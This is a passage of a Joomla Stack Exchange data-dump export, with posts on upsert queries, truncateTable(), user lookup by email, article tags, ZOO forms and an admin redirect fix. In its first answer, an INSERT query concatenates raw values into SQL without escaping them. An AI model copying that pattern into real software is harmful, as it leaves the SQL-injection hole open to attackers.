when I am updating the table with new data or inserting new data in the table I would use for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_unique_key = $original_id . $analogue_id . &quot;something_to_make_it_more_unique&quot;;&#xA;&#xA;$myTableItems = new stdClass();&#xA;&#xA;// You can put all of the data items into the $myTableItems object&#xA;// if you have many of these data&#xA;// I will not do that here due to time saving&#xA;&#xA;// and in foreach loop&#xA;&#xA;foreach ($myTableItems as $item) {&#xA;&#xA;  $fields = array($db-&amp;gt;quoteName('myunique_key') . ' = ' . $db-&amp;gt;quote($item-&amp;gt;my_unique_key),&#xA;            $db-&amp;gt;quoteName('original_id') . ' = ' . $db-&amp;gt;quote($item-&amp;gt;original_id),&#xA;            $db-&amp;gt;quoteName('analogue_id') . ' = ' . $db-&amp;gt;quote($item-&amp;gt;analogue_id));&#xA;&#xA;  $values = array($item-&amp;gt;my_unique_key, $item-&amp;gt;original_id, $item-&amp;gt;analogue_id);&#xA;&#xA;  $query = &quot;INSERT INTO #__mytable (myunique_key, original_id, analogue_id) VALUES ('&quot; . implode(&quot;', '&quot;, $values) . &quot;')&#xA;  ON DUPLICATE KEY UPDATE&quot; . implode(&quot;, &quot;, $fields);&#xA;&#xA;  $db-&amp;gt;setQuery($query)-&amp;gt;execute();&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you want to just insert the new records and you do not want to update the old records then you can use the INSERT IGNORE INTO query like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;INSERT IGNORE INTO #__mytable (myunique_key, original_id, analogue_id) VALUES ('&quot; . implode(&quot;', '&quot;, $values) . &quot;')&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simple reference on these Sql queries is for example &lt;a href=&quot;https://chartio.com/resources/tutorials/how-to-insert-if-row-does-not-exist-upsert-in-mysql/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-07-21T06:44:05.277" LastActivityDate="2018-07-21T06:44:05.277" CommentCount="16" ContentLicense="CC BY-SA 4.0" />
  <row Id="23150" PostTypeId="2" ParentId="21912" CreationDate="2018-07-19T07:10:44.387" Score="0" Body="&lt;p&gt;I am also had same problem in localhost while updating. &#xA;I am  just changed the path of tmp folder in joomla global configration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Resolution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Login to Joomla Back office of the website;&#xA;Go to System &amp;gt; Global Configuration &amp;gt; Server tab;&#xA;Insert the absolute path for Temp directory of a website to Path to Temp Folder field.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;e.g. D:\wamp\www\XXX_Site\tmp&lt;/p&gt;&#xA;" OwnerUserId="12592" LastActivityDate="2018-07-19T07:10:44.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23152" PostTypeId="1" AcceptedAnswerId="23158" CreationDate="2018-07-19T12:44:37.830" Score="1" ViewCount="213" Body="&lt;p&gt;I have the following code attempting to truncate a table. The Joomla documentation makes me believe this will work, but it does not. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;truncate_query = $db-&amp;gt;getQuery(true);&#xA;//$truncate_query = 'TRUNCATE ' . $db-&amp;gt;quoteName('#__mytable');&#xA;$truncate_query-&amp;gt;truncateTable($db-&amp;gt;quoteName('#__mytable'));&#xA;$db-&amp;gt;setQuery($truncate_query);&#xA;echo $truncate_query;&#xA;exit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The echo statement displays nothing. If I use the line that is commented out to manually generate the SQL, it does work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I am looking to use the &lt;code&gt;truncateTable()&lt;/code&gt; function is that I am trying to include the truncation in a transaction. When I use the manual &lt;code&gt;TRUNCATE&lt;/code&gt; statement, the table is still truncated even if another part of the transaction fails.  This is annoying since the other statements rely on the success of the truncation; so, if the table is emptied when it shouldn't be there is no data left to run the transaction again.&lt;/p&gt;&#xA;" OwnerUserId="11406" LastEditorUserId="12352" LastEditDate="2018-07-20T20:04:16.160" LastActivityDate="2018-07-20T20:04:16.160" Title="Why does the truncateTable() method create an empty string for a query and fail to delete rows?" Tags="|development|database|jdatabase|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23153" PostTypeId="1" AcceptedAnswerId="23165" CreationDate="2018-07-19T15:59:36.967" Score="1" ViewCount="176" Body="&lt;p&gt;Today someone asked me about a problem with a form on their website. The form is made in Yootheme Zoo. But I can't find the form in the backend. The documentation on Yoothemes website is very narrow on this subject. And Google and Youtube couldn't help me either.&#xA;According to the Yootheme site it should be simple to create forms, so I guess I'm crazy. But where in this extension can you create and modify forms?&lt;/p&gt;&#xA;" OwnerUserId="8390" LastActivityDate="2018-07-20T08:54:03.870" Title="How to edit a form in Yootheme Zoo?" Tags="|zoo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23154" PostTypeId="1" CreationDate="2018-07-19T20:16:20.283" Score="1" ViewCount="742" Body="&lt;p&gt;I hope you can help me with this to find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On site1 I have a Joomla 3.x installation. I want to run an external script which validates a user on site2 (this is already working). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After getting a positive response from site2, I get the username passed back to the Joomla site1 script (or if needed a second script on site1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what I need to do is to check on site1 if this username exist in the Joomla DB. If true then the user should get logged in into Joomla and redirected to a URL. If not the user should be created in Joomla with a random password and then logged in, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the authentication plugin tutorial, but this did not help me. Also I tried this script, but it did not work too: &lt;a href=&quot;https://gist.github.com/AdamMadrzejewski/020c4fa4b1d0e7af78b8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/AdamMadrzejewski/020c4fa4b1d0e7af78b8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to log in a user into Joomla from an external script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="12718" LastActivityDate="2018-08-21T10:24:35.890" Title="How to log in user into Joomla 3.x from external script" Tags="|joomla-3.x|authentication|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23155" PostTypeId="2" ParentId="23153" CreationDate="2018-07-19T20:20:37.863" Score="1" Body="&lt;p&gt;The forms in ZOO are called &quot;Submissions.&quot;  Here is the basic steps for it: &lt;a href=&quot;https://www.yootheme.com/support/zoo/frontend-submission&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.yootheme.com/support/zoo/frontend-submission&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have something specific you need to do that isn't addressed in there, comment and I can edit my answer.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-07-19T20:20:37.863" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23156" PostTypeId="1" AcceptedAnswerId="23161" CreationDate="2018-07-19T20:39:42.643" Score="1" ViewCount="1211" Body="&lt;p&gt;How can I look up a user by email? I thought that &lt;code&gt;JTable::load&lt;/code&gt; would do it, but it returns a weird data shape:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JTable::getInstance('User', 'JTable', array());&#xA;$user-&amp;gt;load(array(&quot;email&quot; =&amp;gt; &quot;someemail@gmail.com&quot;));&#xA;print_r(json_encode($user))&#xA;&#xA;            groups&quot;: null,&#xA;            &quot;id&quot;: {&#xA;                &quot;email&quot;: &quot;someemail@gmail.com&quot;&#xA;            },&#xA;            &quot;name&quot;: &quot;&quot;,&#xA;            &quot;username&quot;: &quot;&quot;,&#xA;            &quot;email&quot;: &quot;&quot;,&#xA;            ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JTable::load&lt;/code&gt; works like this for Categories, however.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat = JTable::getInstance('Category', 'JTable', array());&#xA;$cat-&amp;gt;load(array(&quot;title&quot; =&amp;gt; &quot;some title&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I have to use &lt;code&gt;JFactory::getDbo()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="12720" LastEditorUserId="12720" LastEditDate="2018-07-20T14:58:27.530" LastActivityDate="2018-07-20T14:58:27.530" Title="Find user by email" Tags="|joomla-3.x|user|jtable|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23157" PostTypeId="1" AcceptedAnswerId="23160" CreationDate="2018-07-19T21:40:57.373" Score="4" ViewCount="1408" Body="&lt;p&gt;How can I query the db for all the tags associated with an article?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been able to use &lt;code&gt;JTable&lt;/code&gt; to query to &lt;code&gt;*_tags&lt;/code&gt; table, but that doesn't return the tags that are associated with the article record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interesting in something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tags = JTags::searchByArticleId(1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12720" LastActivityDate="2020-09-08T21:04:30.460" Title="Get tags for an article" Tags="|joomla-3.x|articles|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23158" PostTypeId="2" ParentId="23152" CreationDate="2018-07-20T04:17:03.717" Score="0" Body="&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that the &lt;code&gt;setQuery()&lt;/code&gt; and &lt;code&gt;execute()&lt;/code&gt; calls are already inside the function scope...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/database/driver.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/database/driver.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Method to truncate a table.&#xA; *&#xA; * @param   string  $table  The table to truncate&#xA; *&#xA; * @return  void&#xA; *&#xA; * @since   11.3&#xA; * @throws  RuntimeException&#xA; */&#xA;public function truncateTable($table)&#xA;{&#xA;    $this-&amp;gt;setQuery('TRUNCATE TABLE ' . $this-&amp;gt;quoteName($table));&#xA;    $this-&amp;gt;execute();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;So this is how you call/execute the truncation (I just tested this and it works):&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class modTrunctestHelper&#xA;{&#xA;    public function deleteAllRows(){&#xA;        JFactory::getDbo()-&amp;gt;truncateTable('#__guineapig');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also posted &lt;a href=&quot;https://stackoverflow.com/a/51435741/2943403&quot;&gt;an answer on your replicated Stackoverflow question&lt;/a&gt; with different wording.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Original post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this issue/bug should be brought to the attention of the Joomla core developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can confirm that I was able to reproduce the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran &lt;code&gt;-&amp;gt;truncateTable()&lt;/code&gt; on my &lt;code&gt;#__guineapig&lt;/code&gt; table and included some checkpoints along the way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class modTrunctestHelper&#xA;{&#xA;    public function deleteAllRows(){&#xA;        $db = JFactory::getDbo();&#xA;        try {&#xA;            $truncate = $db-&amp;gt;getQuery(true)&#xA;                           -&amp;gt;truncateTable('#__guineapig');&#xA;            // $truncate = 'TRUNCATE #__guineapig';&#xA;            // $truncate = $db-&amp;gt;getQuery(true)&#xA;            //                -&amp;gt;delete('#__guineapig');&#xA;            echo $truncate-&amp;gt;dump();&#xA;            $db-&amp;gt;setQuery($truncate);&#xA;            $db-&amp;gt;execute();&#xA;            echo $db-&amp;gt;getAffectedRows() , 'Rows Of Data Deleted';&#xA;        } catch (Exception $e) {&#xA;            echo &quot;Syntax Error&quot; , $e-&amp;gt;getMessage();&#xA;        }&#xA;    }&#xA;}&#xA;$TT = new modTrunctestHelper();&#xA;$TT-&amp;gt;deleteAllRows();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If I wrote: &lt;code&gt;echo $truncate-&amp;gt;dump();&lt;/code&gt; the script broke and said:&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to a member function dump() on null&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;If I removed &lt;code&gt;-&amp;gt;dump()&lt;/code&gt; to avoid the error, then nothing useful can come from executing a &lt;code&gt;null&lt;/code&gt; string as a query (duh), the page displayed: &#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Syntax Error&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;By running the raw query &lt;code&gt;TRUNCATE #__guineapig&lt;/code&gt; (via &lt;code&gt;setQuery()&lt;/code&gt; then &lt;code&gt;execute()&lt;/code&gt;), all rows were deleted and the auto-incremented index was reset as expected.  For the record, &lt;code&gt;$db-&amp;gt;getNumRows()&lt;/code&gt; is inappropriate and doesn't work; while &lt;code&gt;$db-&amp;gt;getAffectedRows()&lt;/code&gt; produced a count of &lt;code&gt;0&lt;/code&gt; because the &lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/truncate-table.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;MySQL manual&lt;/a&gt; says: &#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Truncation operations do not return a meaningful value for the number of deleted rows.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;If you are desperate (and I don't think you need to be) to use &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;JDatabase Methods&lt;/a&gt;, then you &lt;em&gt;could&lt;/em&gt; use &lt;code&gt;delete()&lt;/code&gt; which will speak to &lt;code&gt;getAffectedRows()&lt;/code&gt; but this is a completely different process with different behaviors.  Notably, &lt;code&gt;DELETE&lt;/code&gt; queries don't reset the auto-increment number.  See my earlier link to the manual to see exactly what &lt;code&gt;TRUNCATE&lt;/code&gt; queries do.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-20T05:48:16.597" LastActivityDate="2018-07-20T05:48:16.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23160" PostTypeId="2" ParentId="23157" CreationDate="2018-07-20T05:37:43.407" Score="8" Body="&lt;p&gt;Use &lt;code&gt;TagsHelper::getItemTags()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Helper\TagsHelper;&#xA;&#xA;$tags = new TagsHelper;&#xA;$tags-&amp;gt;getItemTags('com_content.article', $articleId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$articleId&lt;/code&gt; is article ID. Tags will be available through &lt;code&gt;$tags-&amp;gt;itemTags&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you already have article object loaded, you can add tags to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$article-&amp;gt;tags = new TagsHelper;&#xA;$article-&amp;gt;tags-&amp;gt;getItemTags('com_content.article', $article-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-10-29T06:16:52.987" LastActivityDate="2019-10-29T06:16:52.987" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23161" PostTypeId="2" ParentId="23156" CreationDate="2018-07-20T06:23:34.333" Score="4" Body="&lt;p&gt;&lt;code&gt;Joomla\CMS\Table\User::load()&lt;/code&gt; can only load rows by user ID. Use database query to get user ID by email and pass it to table's &lt;code&gt;load()&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;quoteName('id'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__users'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('email') . ' = ' . $db-&amp;gt;quote($email));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;if ($id = $db-&amp;gt;loadResult())&#xA;{&#xA;    $user = JTable::getInstance('User', 'JTable', array());&#xA;    $user-&amp;gt;load($id);&#xA;}&#xA;else&#xA;{&#xA;    // User with specified $email not found.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't intend changing user data in the table, you can use &lt;code&gt;JFactory::getUser()&lt;/code&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($id = $db-&amp;gt;loadResult())&#xA;{&#xA;    $user = JFactory::getUser($id);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-07-20T07:39:37.910" LastActivityDate="2018-07-20T07:39:37.910" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="23162" PostTypeId="2" ParentId="10939" CreationDate="2018-07-20T07:35:54.713" Score="1" Body="&lt;p&gt;I had the same problem when I'm migrating the website to other server. The admin link -  &lt;a href=&quot;http://website.com/administrator/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://website.com/administrator/index.php&lt;/a&gt;  redirect to &lt;a href=&quot;http://website.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://website.com&lt;/a&gt; due to some plugin issues, but I was not sure which plugin creating this bug. So I did like below&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the same version of Joomla from here - &lt;a href=&quot;https://downloads.joomla.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://downloads.joomla.org&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unzip/Extract it in a new directory - &quot;freshjoomla&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In your &lt;a href=&quot;http://website.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://website.com&lt;/a&gt; public_html directory, rename the below existing directory (in my case home directory is - /var/www/sites/website.com/public_html/ )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mv /var/www/sites/website.com/public_html/components /var/www/sites/website.com/public_html/components_old&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mv /var/www/sites/website.com/public_html/plugins /var/www/sites/website.com/public_html/plugins_old&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now copy the fresh components and plugins from freshjoomla directory&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cp -vr freshjoomla/components /var/www/sites/website.com/public_html/&#xA;cp -vr freshjoomla/plugins /var/www/sites/website.com/public_html/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now change the ownership of components, plugins directories to your webserver service username&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the cases - www-data for nginx, apache for apache 2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown -R www-data:www-data /var/www/sites/website.com/public_html/components&#xA;chown -R www-data:www-data /var/www/sites/website.com/public_html/plugins &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now load the admin page - &lt;a href=&quot;http://website.com/administrator/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://website.com/administrator/index.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, download and install the required plugins one by one. &lt;/p&gt;&#xA;" OwnerUserId="12721" LastActivityDate="2018-07-20T07:35:54.713" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23163" PostTypeId="2" ParentId="21404" CreationDate="2018-07-20T07:57:47.347" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how do I efficiently debug this component?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;try{}catch{}&lt;/code&gt; blocks and include &lt;code&gt;$e-&amp;gt;getMessage()&lt;/code&gt;, &lt;code&gt;dump()&lt;/code&gt;, and resultset checks.  Using Joomla query methods is also a good idea.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getNameAttribut($attr_id) {&#xA;    $db = JFactory::getDBO();&#xA;    $lang = JSFactory::getLang();&#xA;    try {&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;                    -&amp;gt;select($db-&amp;gt;qn($lang-&amp;gt;get(&quot;name&quot;)) . &quot; AS name&quot;)&#xA;                    -&amp;gt;from($db-&amp;gt;qn(&quot;#__jshopping_attr&quot;))&#xA;                    -&amp;gt;where(&quot;attr_id = &quot; . (int)$attr_id);  // assuming attr_id is an integer&#xA;        echo $query-&amp;gt;dump();  // never show query to the public&#xA;        $db-&amp;gt;setQuery($query);&#xA;        if (($result = $db-&amp;gt;loadResult()) === null) {&#xA;            echo &quot;Null Resultset - Possible Query Logic Error @ getNameAttribut()&quot;;&#xA;        }&#xA;        return $result;&#xA;    } catch (Exception $e) {&#xA;        echo &quot;Syntax Error&quot;, $e-&amp;gt;getMessage();  // never show error messages to the public&#xA;        return false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getAllAttributes($result = 0, $categorys = null, $order = null, $orderDir = null) {&#xA;    if (!$order) {&#xA;        $order = 'a.attr_ordering';&#xA;    }&#xA;    if ($orderDir != 'DESC') {&#xA;        $orderDir = 'ASC';&#xA;    }&#xA;    $lang = JSFactory::getLang();&#xA;    $db = JFactory::getDBO();&#xA;    try {&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;                    -&amp;gt;select(&#xA;                        array(&#xA;                            &quot;a.attr_id&quot;,&#xA;                            &quot;a.&quot; . $db-&amp;gt;qn($lang-&amp;gt;get(&quot;name&quot;)) . &quot; AS name&quot;,&#xA;                            &quot;a.attr_type&quot;,&#xA;                            &quot;a.attr_ordering&quot;,&#xA;                            &quot;a.independent&quot;,&#xA;                            &quot;a.allcats&quot;,&#xA;                            &quot;a.cats&quot;,&#xA;                            &quot;G.&quot; . $db-&amp;gt;qn($lang-&amp;gt;get(&quot;name&quot;)) . &quot; AS groupname&quot;&#xA;                        )&#xA;                      )&#xA;                    -&amp;gt;from($db-&amp;gt;qn(&quot;#__jshopping_attr&quot;, &quot;a&quot;))&#xA;                    -&amp;gt;leftJoin($db-&amp;gt;qn(&quot;#__jshopping_attr_groups&quot;) . &quot; G ON &quot; . $db-&amp;gt;qn(&quot;a.group&quot;) . &quot; = G.id&quot;)&#xA;                    -&amp;gt;order($db-&amp;gt;qn($order) . &quot; &quot; . $orderDir);&#xA;        //extract(js_add_trigger(get_defined_vars(), &quot;before&quot;));&#xA;        echo $query-&amp;gt;dump();  // never show query to the public&#xA;        $db-&amp;gt;setQuery($query);&#xA;        if (!$result = $db-&amp;gt;loadObjectList()) {&#xA;            echo &quot;Null Resultset - Possible Query Logic Error @ getAllAttributes()&quot;;&#xA;        }&#xA;        return $result;&#xA;    } catch (Exception $e) {&#xA;        echo &quot;Syntax Error&quot;, $e-&amp;gt;getMessage();  // never show error messages to the public&#xA;        return false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not endorse the use of &lt;code&gt;extract()&lt;/code&gt;.  I have never had a good reason to use it in any of my projects.  There is risk involved with its call, that it could overwrite global variables AND this generally floods the global variable pool.  I don't know what it is meant to achieve in this code, but I would urge you to find another way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not tested the above code blocks, so if anyone discovers a typo let me know and I'll fix it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. It appears that your &lt;code&gt;$lang&lt;/code&gt; value is not being rendered, since the column that is not found is called &lt;code&gt;name_en-GB&lt;/code&gt;. I think the first thing to investigate is the &lt;code&gt;$lang&lt;/code&gt; value.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-03-11T12:40:56.057" LastActivityDate="2019-03-11T12:40:56.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23164" PostTypeId="2" ParentId="9446" CreationDate="2018-07-20T08:29:39.110" Score="-3" Body="&lt;p&gt;Add this in top: &lt;code&gt;JHtml::_('behavior.tabstate');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12722" LastEditorUserId="168" LastEditDate="2018-07-20T09:57:33.173" LastActivityDate="2018-07-20T09:57:33.173" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23165" PostTypeId="2" ParentId="23153" CreationDate="2018-07-20T08:54:03.870" Score="1" Body="&lt;p&gt;The Form Builder is well hidden in Zoo. When you open Zoo click on right on the cogwheel. Now click on the app (Business Directory in my case). You can edit a form by hovering your mouse over a name (first column) or click on Submission in the next column(Template Layouts).&lt;/p&gt;&#xA;" OwnerUserId="8390" LastActivityDate="2018-07-20T08:54:03.870" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23166" PostTypeId="1" AcceptedAnswerId="23171" CreationDate="2018-07-20T09:17:43.877" Score="1" ViewCount="246" Body="&lt;p&gt;I need to rename and save a file upload when saving an item in a custom component.&#xA;The problem is that the JFile::makeSafe function seems like is not converting the filename as you can see below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have overridden the save function in the models/test.php like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  public function save($data) {&#xA;    JRequest::checkToken() or die('Invalid Token');&#xA;    jimport('joomla.filesystem.folder');&#xA;    jimport('joomla.filesystem.file');&#xA;    $date = JFactory::getDate()-&amp;gt;format('Y-m-d h:m:s');&#xA;&#xA;    if (empty($data['created'])) {&#xA;      $data['created'] = $date;&#xA;    }&#xA;&#xA;    if (!empty($data['file'])) {&#xA;      $data['file'] = JFile::makeSafe($data['file']);&#xA;      $src = $data['file'];&#xA;      $dest = JPATH_COMPONENT_ADMINISTRATOR . '/uploads/' . $data['client_id'] . '/' . $data['id'] . '_' . $data['file'];&#xA;&#xA;      if (strtolower(JFile::getExt($data['file'])) == 'doc' || strtolower(JFile::getExt($data['file'])) == 'docx') {&#xA;        JLog::add('File Destination: ' . $dest, JLog::DEBUG, 'com_test-save item');&#xA;        if (JFile::upload($src, $dest)) {&#xA;&#xA;        }&#xA;      }&#xA;      }&#xA;      JLog::add('Data to save: ' . print_r($data, TRUE), JLog::DEBUG, 'com_test-save item');&#xA;    }&#xA;&#xA;    return parent::save($data);&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The log :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2018-07-20T09:02:38+00:00       DEBUG 127.0.0.1 com_testt-saveitem   Filename before JFile::makeSafe : My FILE TO UPLOAD.docx&#xA;2018-07-20T09:02:38+00:00       DEBUG 127.0.0.1 com_test-saveitem   Filename AFTER JFile::makeSafe : My FILE TO UPLOAD.docx&#xA;2018-07-20T09:02:38+00:00       DEBUG 127.0.0.1 com_test-saveitem   File Destination: /Projects/myProjects/joomla/administrator/components/com_test/uploads/240/2_My FILE TO UPLOAD.docx&#xA;2018-07-20T09:02:38+00:00       DEBUG 127.0.0.1 com_test-saveitem   Data to save: Array&#xA;(&#xA;    [id] =&amp;gt; 2&#xA;    [title] =&amp;gt; test&#xA;    [alias] =&amp;gt; test&#xA;    [catid] =&amp;gt; 0&#xA;    [client_id] =&amp;gt; 240&#xA;    [published] =&amp;gt; 0&#xA;    [created] =&amp;gt; 2018-07-20 06:07:43&#xA;    [file] =&amp;gt; My FILE TO UPLOAD.docx&#xA;    [tags] =&amp;gt; &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when I save the item, I get the following warning :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Warning&#xA;    Warning: Failed to move file: My FILE TO UPLOAD.docx to /Projects/myProjects/joomla/administrator/components/com_test/uploads/240/2_My FILE TO 